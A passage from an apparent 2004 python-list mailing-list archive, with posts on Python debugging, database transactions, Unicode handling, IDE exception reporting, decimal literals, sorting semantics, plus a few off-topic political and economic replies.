same classes (cla_a is cla_a == True) are seen by all parts of a program and it (normally) doesn't matter in what module a class is defined.] Peter From rpw3 at rpw3.org Fri Sep 10 22:29:11 2004 From: rpw3 at rpw3.org (Rob Warnock) Date: Fri, 10 Sep 2004 21:29:11 -0500 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <m1m0d.88323$S55.10260@clgrps12> <23t3k09ivp173r2hqpqqfaj2uhvnmbllr3@4ax.com> Message-ID: <5radnc6ukdVq_9_cRVn-qA@speakeasy.net> Alan Balmer <albalmer at spamcop.net> wrote: +--------------- | >and hidden from International Red Cross. | | Not very well, apparently. The Red Cross found them. So did a bunch of | lawyers. | | You apparently haven't been keeping up. Those DNC talking points have | been obsolete for a while now. +--------------- The OP is apparently not the only one who hasn't been keeping up! ;-} Look in today's (or yesterday's) news about new revelations during recent Senate Armed Services Committee hearings of dozens (possibly hundreds) more "ghost detainees" at Abu Ghurayb that the CIA kept off the books... and *still* hasn't produced records for. [Reference: Knight Ridder story on page 7A of today's San Jose Mercury News.] -Rob ----- Rob Warnock <rpw3 at rpw3.org> 627 26th Avenue <URL:http://rpw3.org/> San Mateo, CA 94403 (650)572-2607 From carribeiro at gmail.com Fri Sep 10 07:54:24 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 10 Sep 2004 08:54:24 -0300 Subject: Question: tools for business apps development In-Reply-To: <10k2rng56uh2f64@corp.supernews.com> References: <mailman.2847.1094238878.5135.python-list@python.org> <864d370904090606465938fea5@mail.gmail.com> <mailman.2980.1094568177.5135.python-list@python.org> <Xns955F1AEE4BA29JanC@213.118.38.197> <yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca> <mailman.3067.1094698639.5135.python-list@python.org> <2qavr3Ft7dgdU1@uni-berlin.de> <mailman.3092.1094733220.5135.python-list@python.org> <2qb2tmFt7dgdU2@uni-berlin.de> <10k2rng56uh2f64@corp.supernews.com> Message-ID: <864d370904091004546fd7cc14@mail.gmail.com> On Fri, 10 Sep 2004 02:07:59 -0700, Larry Bugbee <bugbee at seanet.com> wrote: > FWIW, I have removed Flash as have some other folks I know. The reason > is because we do not multi-task and cannot read the page with all the > flashing and movement. ...removed because there is no option to disable > (yes, there are now a couple of Firefox extensions). It occurred to me that the problem is not with Flash for itself. I'm sure that good designers can do a lot of good stuff with Flash that can't be done otherwise using DHTML or even XUL. The problem is that is way too easy to abuse Flash. I remember when IE started taking the market by storm, and in the process added some annyong extensions to its own HTML version. The worst ones were the blinking and the the "running text " (I forgot the correct name for it now). All of a sudden almost every I-know-HTML-and-I-pretend-to-be-a-geek website started using large blinking red text right on the home page. Imagine what would happen if Flash tools were more affordable... -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From steven.bethard at gmail.com Fri Sep 17 03:28:44 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 17 Sep 2004 07:28:44 +0000 (UTC) Subject: Recursive function not returning value References: <10kl34qereo06ac@corp.supernews.com> Message-ID: <loom.20040917T092208-366@post.gmane.org> Derek Rhodes <rhoder <at> worldpath.net> writes: > OK, I have a recursive function that should return a list, but doesn't > > def test(word): > if type(word) == str: > print "it's a word" > test([word]) > > if type(word) == list: > print "The conditional worked, see ->", word > return word By default, if a Python function does not hit a return statement before the end of the function, it returns the None value. Notice that if word is a str, your function executes the first if-block, including the recursive call and then skips the second if-block. So in this case, you never hit a return statement and so Python returns None. You probably meant to write: def test(word): if type(word) == str: return test([word]) if type(word) == list: return word If you run into these kind of mistakes frequenly, it might be worth having only one return point in each function. You would then write your code something like: def test(word): if isinstance(word, str): result = test([word]) elif isinstance(word, list): result = word else: raise TypeError('unsupported type %r' % type(word)) return result Of course, this particular example probably doesn't merit a recursive function anyway, but you get the idea... Steve From catcher at linuxmail.org Mon Sep 13 15:46:58 2004 From: catcher at linuxmail.org (Robert) Date: Mon, 13 Sep 2004 15:46:58 -0400 Subject: Oracle 9i References: <04udnfZkxaySVNjcRVn-oQ@adelphia.com> Message-ID: <DtGdna1sc7quZNjcRVn-sA@adelphia.com> "Robert" <catcher at linuxmail.org> wrote in message news:04udnfZkxaySVNjcRVn-oQ at adelphia.com... > What is the best db module to use with 9i? > > Robert > > Ooops, never mind I found cx_Oracle. :-) From alban at magproductions.nl Mon Sep 27 10:28:07 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Mon, 27 Sep 2004 16:28:07 +0200 Subject: Psycopg; How to detect row locking? In-Reply-To: <j4mdnSn6xsECgMXcRVn-tA@giganews.com> References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com> <415811D2.7070408@magproductions.nl> <j4mdnSn6xsECgMXcRVn-tA@giganews.com> Message-ID: <41582377.5050100@magproductions.nl> Istvan Albert wrote: > Alban Hertroys wrote: > >> I'm also not sure whether I'm actually looking at the same >> transaction. Is there a way to verify such? > > Are you using the same connection across threads or the > same cursor? > > Transactions happen per cursor. They get committed when you call > the commit() on the cursor (and you probably should not share the cursor > across threads). Ok, that means I'm looking at different transactions. That's an important distinction... > Not so along ago there was a similar post. In both, the posters were > using a mulithreaded database system, postgresql within a mulithreaded > program > yet at the same time desperately trying to fully control the database > threads from the program threads, both hoping that transactions > will save the day. But that is not what transactions are about. One of those posters was probably me... I'm still kind of stuck on the problem, but now knowing that I'm looking at different transactions I am pretty sure that I should try a different approach. > Transactions are > simply a way to ensure that a series of database instructions > (within a thread) either all execute or none of them do. One can > always try to coerce them to do something fancier or more different > but then quality of the solution shows this. Which would have been the case if I were looking at a single transaction. But apparently that's not the case. Thank you very much for your help, now at least I know where I should look. Alban. From bgabriel at mtholyoke.edu Thu Sep 30 21:37:20 2004 From: bgabriel at mtholyoke.edu (Bishara Gabriel) Date: Thu, 30 Sep 2004 21:37:20 -0400 Subject: Final Revision (#2) - Social Analysis & Modeling in Python Message-ID: <415CB4D0.3040202@mtholyoke.edu> Second Submitted Revision - Final. Considerable additions to the "Project Objective" and "Our Approach" sections. Unless you advise me to send in a third final version (even after my telling them that that one was final), your feedback is welcome but I will not be able to incorporate it as you and I may wish. Thank you. Sincerely, Bishara Gabriel From martin at v.loewis.de Tue Sep 7 16:33:05 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 07 Sep 2004 22:33:05 +0200 Subject: minidom's setAttribute + UnicodeDecodeError In-Reply-To: <mailman.2979.1094568094.5135.python-list@python.org> References: <mailman.2979.1094568094.5135.python-list@python.org> Message-ID: <413e1af8$0$151$9b622d9e@news.freenet.de> Ruslan wrote: > def _encode(v): > if isinstance(v, UnicodeType): > v = v.encode(v) > return v > > .... > node.setAttribute('style:name', _encode(value)) > .... [...] > Could somebody give any suggestion how to solve that? Seems problem is > in 'ascii' codec in minidom, but how to make it handle not just ascii? The problem is in your code. node.setAttribute requires both the attribute name and the attribute value to be Unicode objects, as per the DOM spec. For backwards-compatibility, ease-of-use, and performance reasons, it does not actually check that these are Unicode objects, and it will work with byte strings just fine as long as they are ASCII. But this would still be an error in the application, which really needs to pass Unicode objects. IOW: just remove the _encode call, and all will be fine. Regards, Martin From aleaxit at yahoo.com Thu Sep 9 12:58:47 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 18:58:47 +0200 Subject: simple string parsing ? References: <mailman.3102.1094738800.5135.python-list@python.org> Message-ID: <1gjv0gq.mo3tj21rucgmhN%aleaxit@yahoo.com> TAG <tonino.greco at gmail.com> wrote: > Hi, > > I am new to python and would like to parse a string, well acually a > formula and get the stuff grouped together > eg: > > if I have : > > =+GC142*(GC94+0.5*sum(GC96:GC101)) > > and I want to get : > > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > 'GC96', ':', 'GC101', ')', ')'] >>> import tokenize >>> import cStringIO >>> x='=+GC142*(GC94+0.5*sum(GC96:GC101))' >>> [t[1] for t in tokenize.generate_tokens(cStringIO.StringIO(x).readline)] ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', 'GC96', ':', 'GC101', ')', ')', ''] >>> close enough for you...? Alex From danperl at rogers.com Tue Sep 28 13:53:34 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 13:53:34 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> <mfydnUd5Idex1srcRVn-pQ@rogers.com> <tpudnXILROwO88rcRVn-sw@powergate.ca> <mailman.3947.1096250696.5135.python-list@python.org> <kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com> <efidneft_NO8p8XcRVn-tQ@rogers.com> <mailman.3996.1096354841.5135.python-list@python.org> <Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <uekkmibrv.fsf@fitlinxx.com> Message-ID: <WZydndBk-MS_OMTcRVn-ug@rogers.com> "David Bolen" <db3l at fitlinxx.com> wrote in message news:uekkmibrv.fsf at fitlinxx.com... > "Dan Perl" <danperl at rogers.com> writes: > >> "Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote in message >> news:mailman.3996.1096354841.5135.python-list at python.org... >> > On Mon, 27 Sep 2004 12:04:47 -0400, Dan Perl <danperl at rogers.com> >> > wrote: >> > >> > I myself felt disturbed by your comments on WingIDE. But yes, I do >> > understand your nagging on "false exceptions" which can be turned off. >> > You >> > turned it down because of this and because the short trial period >> > (which >> > can be prolonged with 1 button click)... well, it didn't seem fair >> > towards >> > the tool. It has its shortcomings but the ones you mention are >> > ridiculous. >> >> The 10 day trial period just gave me a bad first impression and the >> explanations for the false positives just left me with a bad taste. I >> gave >> up on Wing because of the false positives (their simple existence, even >> without the explanations) and the lack of a class browser. I encountered >> the false positives first and I almost gave up right there. But it was >> just >> the first day and I thought I should look more. Like you say, I wanted >> to >> be fair. When I found that the class browser is not supported in the >> Personal edition I threw my arms in the air. > > For whatf it's worth, the "false positives" you refer to was a > significant reason that I really liked Wing. > > If you ever use any code that runs Python through an extension > boundary (my key use is with wxPython, where all of your GUI objects > and event handlers run from within the wxPython extension), Wing is > one of the few debuggers that catches exceptions in that code. That's > because normally the exceptions are handled by the wxPython extension > module, and then suppressed so that they don't kill the main event > loop. I'm new to wxPython so I cannot relate yet to what you are saying. The wxPython extension module may catch the exceptions and suppress them, but doesn't it generate a message for that or something? I hope that they are not hiding the exception completely (and that they generate something) and then you can still debug the problem with well placed breakpoints. Am I wrong here or is there something I'm missing? > In my experience, there are minimal other false positives that a > normal application triggers (a consistent one I recall was in the sre > code), although the current 2.0 beta may still be getting tuned with > respect to its default "known" list, and I was more than willing to > mark those to be ignored in order to be able to be sure of catching > any exceptions within my own code, regardless of whether it was > triggered through an extension or not. The false positive that I encountered was indeed in 'sre', invoked by pickle. I think it was an IndexError which should be a normal thing if they are using it to stop at the end of an iteration. So I'm not convinced this would constitute "minimal" false positives. Maybe if I would have been convinced first with a personal experience about the advantages of Wing's exception detection at the point of raise, then I would have accepted the false positives more easily. But seeing the false exception first (actually right away and with positive spins on it) and then finding out the right technical explanation later, it made it much harder to swallow. Here is my suggestion to Wingware. Make the "Never Stop" exception reporting mode the default in the Personal edition or at least for the trial download. A tutorial could then lead to the "Stop on Unhandled" mode. >>(...) >> My "nagging" on the false positives is mostly on the spin that Wingware >> puts >> in their explanations. It's one thing to explain it the way that Stephan >> did, that it was better to offer something imperfect if that was also >> providing some important advantages and then also offer the other >> alternative ("We weighed having a necessarily imperfect but useful >> feature >> with not having the feature at all."). And it's another thing to insist >> that this is not a problem and it is actually good for you. This doesn't >> seem to bother other people as much as it bothered me, but I do have a >> beef >> with it. > > The actually good for you part is arguably true, since otherwise you > have the potential to be generating exceptions in your own code and > not even know it. But I agree that different people will react > differently (note how differently you and I reacted to this feature), > so the more that can be done to explain the feature (and its > configurability) the better. I would need to first see an example of generating an exception without knowing it and that exception still being relevant although it is being handled. I can imagine something not working right and an exception being one more indication for the problem, but then there are still other good ways to debug the problem. And if things are working, I don't see how hidden exceptions may be of interest. I have very little experience with GUIs but I realize that unit testing is much more difficult for GUIs. Does that make it necessary to "hunt for exceptions" like that instead of testing for results correctness? It may also be just my short experience with Python and especially my total lack of experience with complex systems in Python (e.g, Zope), so I'm ready to listen to an argument on that point. Dan > -- David From ml at dynkin.com Mon Sep 13 14:01:09 2004 From: ml at dynkin.com (George Yoshida) Date: Tue, 14 Sep 2004 03:01:09 +0900 Subject: getting errno from OSError exception? In-Reply-To: <y_k1d.15062$QJ3.4956@newssvr21.news.prodigy.com> References: <y_k1d.15062$QJ3.4956@newssvr21.news.prodigy.com> Message-ID: <ci4n7o$o5$1@dojima-n0.hi-ho.ne.jp> Mark Harrison wrote: > Can somebody loan me a clue as to how to check the errno on > an OSError, as described below? > > try: > os.makedirs(d) > except OSError: > # if errno == 17 then silently ignore the error because the > # other process won the race condition and created the directory > # otherwise, allow the exception to percolate up the call stack > # and be caught by the standard error reporter > What about this? try: os.makedirs(d) except OSError, e: if e.errno == 17: do_something - george From indigo at bitglue.com Wed Sep 29 08:47:03 2004 From: indigo at bitglue.com (Phil Frost) Date: Wed, 29 Sep 2004 08:47:03 -0400 Subject: embedding python in python In-Reply-To: <415a7f0b$1@news.unimelb.edu.au> References: <415a7f0b$1@news.unimelb.edu.au> Message-ID: <20040929124703.GA7944@unununium.org> Use exec. On Wed, Sep 29, 2004 at 09:23:28AM +0000, Maurice LING wrote: > Hi, > > anyone had any experiences in embedding python in python? > > I've tried to do this but it doesn't work. > > eval("from Tkinter import *") From luismg at gmx.net Thu Sep 23 17:37:40 2004 From: luismg at gmx.net (Neuruss) Date: 23 Sep 2004 14:37:40 -0700 Subject: Don't let your babies grow up to be programmers (was: up with PyGUI!) References: <mailman.3318.1095180577.5135.python-list@python.org> <1095378815.31957.166.camel@devilbox.devilnet.internal> <cio5gu$2nk$1@sea.gmane.org> <mailman.3701.1095836355.5135.python-list@python.org> <rp0b22-l8g.ln1@lairds.us> Message-ID: <278de0e.0409231337.1a032135@posting.google.com> I'd just like to add a comment, not to start an endless debate on U.S economic or trade policy... IMHO what you are experiencing in the U.S is just another sign of the globalization process, which is bad from an american perspective, but good from a global one. For too long, the industrialized countries have enjoy the power of their competitiveness and technical inovation while, at the same time, they have been protecting their less competitive sectors such as agriculture and labor intensive jobs. But this situation led to a club of rich nations isolated from a mass of third world countries, whose primary products weren't allowed to enter the rich markets due to very rigid policy of subsidies and trade barriers. But how can IBM, Microsoft, HP, and all those monsters keep on growing without selling to the so called "emerging markets"? By trading with Mars? If the rich want to get richer, sooner or later they will have to even the field, allowing others to rise from missery in order to incorporate them to the consumption society. Now you see China, India, Brazil and other countries that are doing well, improving the condition of their inhabitants, getting them out of missery and incorporating them to the global market. Those foreigners buy american products, now more than before because they have more money, thus improving the profit of the monsters mentioned above. Here in latin america we buy these products, and at the same price or more in US Dollars (not a penny less), don't you think we deserve something in exchange? I don't mean humanitarian supplies, I mean more fair and equitable rules for trading of products, skills and resources. After a very hard devaluation of our currency, an argentine programmer is paid 11 dollars less an hour than an indian one. Now, many educated people, with knowledge of two or more languages and with high tech skills can aspire to pay the rent and make a living, making 4 or 5x less than an american counterpart. These people worked their ass off to have what they're getting now. Honestly, do you expect them to be sorry for you? I'm affraid that there's no way back. A highly skilled programmer in the third world (or any other kind of proffesional) deserves to get a job if he/she can do it better and cheaper than an american (or canadian or whatever..) one. This is the internet age. I hope that it contributes to make the poor less poor and the rich not so rich, and maybe, in a distant future we will have a better world for all of us. From ben at benlast.com Mon Sep 27 10:28:43 2004 From: ben at benlast.com (Ben Last) Date: Mon, 27 Sep 2004 15:28:43 +0100 Subject: Anonymous class members In-Reply-To: <864d370904092707013e2254a6@mail.gmail.com> Message-ID: <HLEGKHKIKMEHENBAEIEPKEBFCKAA.ben@benlast.com> I'm probably missing something here... but if you want a collection of anonymous attributes... why not just store them in a list? > -----Original Message----- > From Carlos Ribeiro > class body(HtmlBody) > H1('Anonymous class members' ) > P('This is an example of anonymous class members') Give yourself a class such as: class HtmlElement: tag = None content = None attributes = None def __init__(self, tag, content, attributes): etc etc etc, and have a list of them in the body? Thus you have un-named data. Yours, admitting freely that he skimmed the email whilst drinking tea... ben From rschroev_nospam_ml at fastmail.fm Thu Sep 2 08:09:51 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Thu, 02 Sep 2004 12:09:51 GMT Subject: allowing braces around suites In-Reply-To: <slrncjdvf2.7or.apardon@rcpc42.vub.ac.be> References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <cgn73r$scr$1@nntp0.reith.bbc.co.uk> <mailman.2515.1093608707.5135.python-list@python.org> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <zILXc.54863$xi6.26091@fe2.texas.rr.com> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> <slrncj8kv2.kp.apardon@trout.vub.ac.be> <slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au> <slrncj94hr.kp.apardon@trout.vub.ac.be> <du7oekrnwc8.fsf@amadeus.cc.tut.fi> <slrncjaq3l.kp.apardon@trout.vub.ac.be> <xpmZc.17356$ni.800@okepread01> <slrncjdvf2.7or.apardon@rcpc42.vub.ac.be> Message-ID: <j4EZc.234120$bX7.11911229@phobos.telenet-ops.be> Antoon Pardon wrote: > Op 2004-09-01, Steve Holden schreef <sholden at holdenweb.com>: > >>If your program logic is too deeply nested with conditions then >>functions and classes provide a powerful logical abstraction to fight >>the complexity and improve code reliability and maintainability. > > > Only if that code has some usefull abstraction. Just putting some > code in a function doesn't provide any usefull abstraction. In my experience, you can always find a sensible and useful abstraction, but in the absence of a real-world example I guess we'll have to agree to disagree. -- "Codito ergo sum" Roel Schroeven From carribeiro at gmail.com Sat Sep 25 19:12:25 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 25 Sep 2004 20:12:25 -0300 Subject: Why not FP for Money? In-Reply-To: <gPi5d.9693$gG4.8102@newsread1.news.pas.earthlink.net> References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> <mailman.3892.1096086361.5135.python-list@python.org> <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> <mailman.3902.1096119238.5135.python-list@python.org> <gPi5d.9693$gG4.8102@newsread1.news.pas.earthlink.net> Message-ID: <864d370904092516122ca39551@mail.gmail.com> On Sat, 25 Sep 2004 18:30:36 GMT, Andrew Dalke <adalke at mindspring.com> wrote: > Carlos Ribeiro wrote: > > Why not? It may be a good idea for Py3k -- instead of raw strings, why > > not regular expressions strings? > [......] > Interestingly enough I happen to have a regexp engine > I wrote which allows addition on evaluated patterns. > It works by merging the parse trees. I don't have enough knowledge of RE's theory, and I don't know if it can be generalized, but it's a great solution. Was it ever discussed here at c.l.py? > It's very useful for building large patterns because > > (?P<AC_block>(?P<AC>AC > (?P<bioformat:dbid?type=accession&dbname=sp>(?P<ac_number>[\dA-Z_a-z]+))\;( > (?P<bioformat:dbid?type=accession>(?P<ac_number>[\dA-Z_a-z]+))\;)*(\n|\r\n?))+) > > is harder to write by hand than > > AC = Group("AC", > Str("AC ") + > Std.dbid(Martel.Word("ac_number"), > {"type": "accession", > "dbname": "sp"}) + \ > Str(";") + > Rep(Martel.Str(" ") + > Std.dbid(Martel.Word("ac_number"), > {"type": "accession"}) + > Str(";")) + > Martel.AnyEol()) > > AC_block = Group("AC_block", Martel.Rep1(AC)) > > (Even with MULTILINE, re.compile doesn't tell you the > character position of the syntax error as well as > Python does, nor does my editor help me out.) Although I said that I found it neat, I really think both forms above are hard enough to write by hand to make me flee in despair :-) But I see your point. > > Because the call-style syntax requires the use of a string as an > > argument to avoid practical and phylosophical problems involving the > > conversion of binary floats to decimal floats, and the string looks > > out of place in numeric expressions. > > That argument makes much more sense to me than saying > that using 'd' is a compromise to having no way to write > it as a literal. Well, I hadn't really expressed myself well with regards to the 'compromise'. Sorry about that. A compromise is not an argument per se -- it must be backed by facts, and the compromise must only be sought if there's need to acommodate contraditory needs. It's not the case here. > Complex is rarely used, I agree. I just read through > the original discussion on adding complex to Python. > The thread was titled "Should I add complex numbers to > the Python code?" starting Dec. 10, 1995. > > [ LOTS OF REALLY RELEVANT INFORMATION!] Well, that's was the greatest part of your post. That you've got yourself into the hassle of checking a discussion nearly ten years old was fantastic, and the quality of the information you've recovered is nothing short of magnificent. Really. So much of superlatives :-) Looking back at that discussion, I think that we're on the right road. We already have a library working, and the proposed changes to the syntax follow the same precedent of the i(maginary) suffix. It's too early to tell, but the precendents looks good for the 'd'-suffix proposal. > An interesting point, made by Paul Dubois, is that > > Expressions like those shown never occur in real > > life. In fact, complex literals are RARE. Usually > > complex numbers occur as the output of a function, > > and usually in arrays (often, BIG arrays). So in > > fact this issue is not very important. > > Is the same true for decimal? There is an important difference in favor of complex numbers. I think that the support for the notation of complex numbers is more important for OUTPUT than for INPUT. It's much easier to read a complex as (1+2i) than to read it as complex(1,2). In large array printouts, that's something that makes a lot of difference. As far as decimals are concerned, their 'repr' would probably keep the 'd' suffix, to allow for reverse evaluation. But the string representation would certainly miss the 'd' suffix. In this case, the notation is clearly more useful for INPUT than for OUTPUT. > BTW, at this time I was a ready of c.l.py but not > an active user. I didn't post to the thread. I > wanted complex because, well, I am a "retread > physicist." But I've never actually used complex > for any of my Python work and suspect that I > wouldn't have a problem using (say) > cmath.complex(1.12, 2.9) > instead if I did. But you sure find it more convenient to type (1.12+2.9i), don't you? Best regards, -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From adalke at mindspring.com Tue Sep 21 16:02:03 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 20:02:03 GMT Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <mailman.3666.1095791375.5135.python-list@python.org> References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> <20040921173455.GB2891@unununium.org> <loom.20040921T193847-890@post.gmane.org> <mailman.3666.1095791375.5135.python-list@python.org> Message-ID: <%M%3d.1682$g42.606@newsread3.news.pas.earthlink.net> Phil Frost wrote: > On Tue, Sep 21, 2004 at 05:42:35PM +0000, Steven Bethard wrote: > >>Phil Frost <indigo <at> bitglue.com> writes: >> >>>On Tue, Sep 21, 2004 at 05:24:48PM +0000, I wrote: >>> >>>>Could you give an example of a list that you'd like to do this to? I'm >>>>still having trouble imagining a list of disparate types that I call sort >>>>on... >>> >>>What about binary trees? Currently it's possible to implement a binary >>>tree that is as general as a dict, but restricting comparisons to like >>>types would make that impossible. >> >>Is there a good use case for binary trees with incompatible types at the nodes? >> >>I'm not sure I follow your comparison here anyway, since you can't sort a >>dict... Could you clarify? >> >>Thanks, >> >>STeve > > > That's the point. Dicts can't be sorted, but binary trees *must* be. > There are at least two good reasons to use a binary tree: > > - you need a mapping that is sorted by key > - the worst case O(n) complexity of a hash table is not acceptable > > The right question here is, "is there a reason for mappings with > heterogeneous key types?" It's not something that I do often, but it's > something that's important to have. Dynamic typing is a good thing. From indigo at bitglue.com Tue Sep 21 13:34:55 2004 From: indigo at bitglue.com (Phil Frost) Date: Tue, 21 Sep 2004 13:34:55 -0400 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <loom.20040921T192348-961@post.gmane.org> References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> Message-ID: <20040921173455.GB2891@unununium.org> What about binary trees? Currently it's possible to implement a binary tree that is as general as a dict, but restricting comparisons to like types would make that impossible. On Tue, Sep 21, 2004 at 05:24:48PM +0000, Steven Bethard wrote: > Carlos Ribeiro <carribeiro <at> gmail.com> writes: > > For example: today's lists may contain objects of arbitrary types and > > can be sorted; even if the actual ordering may seem arbitrary, it > > works for most purposes. My question is: If Python 3.0 abolishes > > comparison between arbitrary types, how will generic sorting be > > handled? > > Could you give an example of a list that you'd like to do this to? I'm still > having trouble imagining a list of disparate types that I call sort on... > > Thanks, > > Steve From gary.wilson at gmail.com Thu Sep 23 20:51:17 2004 From: gary.wilson at gmail.com (gary) Date: 23 Sep 2004 17:51:17 -0700 Subject: regular expression for integer and decimal numbers Message-ID: <f23116.0409231651.7aeb19c0@posting.google.com> I want to pick all intergers and decimal numbers out of a string. Would this be the most correct regular expression to use? "\d+\.?\d*" From fuzzyman at gmail.com Mon Sep 27 16:33:43 2004 From: fuzzyman at gmail.com (Fuzzyman) Date: Mon, 27 Sep 2004 21:33:43 +0100 Subject: New to Python References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <mailman.3722.1095866933.5135.python-list@python.org> <pan.2004.09.23.17.02.22.649109@jerf.org> <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca> <mailman.3961.1096294506.5135.python-list@python.org> <e7edndpKo-0upsXcRVn-qw@powergate.ca> Message-ID: <42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com> On Mon, 27 Sep 2004 12:11:29 -0400, Peter Hansen <peter at engcorp.com> wrote: >Erik Heneryd wrote: >[about the Smart Questions essay] >> Uhm... sure. The point is that it *is* intimidating and that you'll >> have to be pretty darn dedicated to asking/answering to consider it >> worth the time. > [snip..] I found it a useful essay. It *is* hard work to read through it all - but it is infinitely worth it. The bottom line is that the advice it gives is very sensible - not just to those who are entirely new to posting. If you're not prepared to think about the way you frame your question then you are basically hoping that other people will do your thinking for you. It's not much fun helping someone like that............... Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From dperl at rogers.com Mon Sep 13 21:30:47 2004 From: dperl at rogers.com (Dan Perl) Date: Tue, 14 Sep 2004 01:30:47 GMT Subject: #comments References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org> Message-ID: <bRr1d.108$NBi1.105@news04.bloor.is.net.cable.rogers.com> You're missing a comma between the arguments in "print". Here is how it should be: data=raw_input("Type something ") # spaces after "something" myInput=data print "You typed ", myInput # and again print "The fourth character is ", myInput[3] # and again "Ken Parkes" <cbuffer at NOSPAMrosecott.ukfsn.org> wrote in message news:pan.2004.09.13.21.27.31.291385 at NOSPAMrosecott.ukfsn.org... > Hi, > New to this game. Have tried the following. > > data=raw_input("Type something ") # spaces after "something" > myInput=data > print "You typed " myInput # and again > print "The fourth character is "myInput[3] # and again > > When I run it in the shell I get error warnings for the second comment > ( actually pointing to the t of myInput ) If I remove the comment I get > one for the third comment. What is wrong please? > > Ken. > From pink at odahoda.de Sat Sep 11 11:51:03 2004 From: pink at odahoda.de (Benjamin Niemann) Date: Sat, 11 Sep 2004 17:51:03 +0200 Subject: Python library to access CVS? In-Reply-To: <4712d252.0409110555.13ad27a3@posting.google.com> References: <4712d252.0409110555.13ad27a3@posting.google.com> Message-ID: <chv72m$8f0$03$1@news.t-online.com> Parano wrote: > Is there a Python library to access CVS? > I tried to google search for it, but with "python cvs" you actually find > alot of python projects that have CVS repository... I'm not sure, but I think viewcvs (a web interface to CVS written in python) direcly accesses the CVS repository. You might have a look at it and see, how it does this and if there's code to reuse. From bwm at acm.org Thu Sep 23 10:48:16 2004 From: bwm at acm.org (bwm at acm.org) Date: 23 Sep 2004 07:48:16 -0700 Subject: Microthreads without Stackless? In-Reply-To: <5cq3d.17537$QJ3.13088@newssvr21.news.prodigy.com> References: <mailman.3171.1094844869.5135.python-list@python.org> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> <8cf9f521.0409162213.105d321e@posting.google.com> <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> <cieafr$m4b$1@nntp0.reith.bbc.co.uk> <8cf9f521.0409171009.142a3fcd@posting.google.com> <g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com> <8cf9f521.0409181021.6db6a3e4@posting.google.com> <5cq3d.17537$QJ3.13088@newssvr21.news.prodigy.com> Message-ID: <1095950896.070433.42450@k26g2000oda.googlegroups.com> > The point I got from Bernhard Mulder's recipe is how to yield > from any call depth. His method is to re-write every call chain > that leads to a yield, so that every function is a generator and > every call is in a for loop.... > That's the kind of solution I was discounting when I wrote, > "Importantly, I do *not* have to re-write all the functions in > every call chain that leads to a read or write". > In Python 2.4, you could use a decorator to convert a routine into a generator. With a Metaclass, you could do this "decoration" automatically for all functions. As for call chains, maybe you could define a Metaclass which converts calls via some byte-code voodoo into for loops. From grante at visi.com Wed Sep 1 15:28:29 2004 From: grante at visi.com (Grant Edwards) Date: 01 Sep 2004 19:28:29 GMT Subject: I think a problem occured when i used long() References: <8f17f4bc.0409011101.5ace996@posting.google.com> Message-ID: <413622dd$0$8086$a1866201@newsreader.visi.com> On 2004-09-01, Ali <alikakakhel3 at hotmail.com> wrote: > I did the folloing in python shell: > >>>> x = 5.07e-25 >>>> x = long(x) >>>> print x > 0L > > Um... I was under the impresion that long numbers had very very long > precision. But, it seems that in this case it rounded it to zero :( > > Please Help. Thank you :) Um... what did you expect the integer 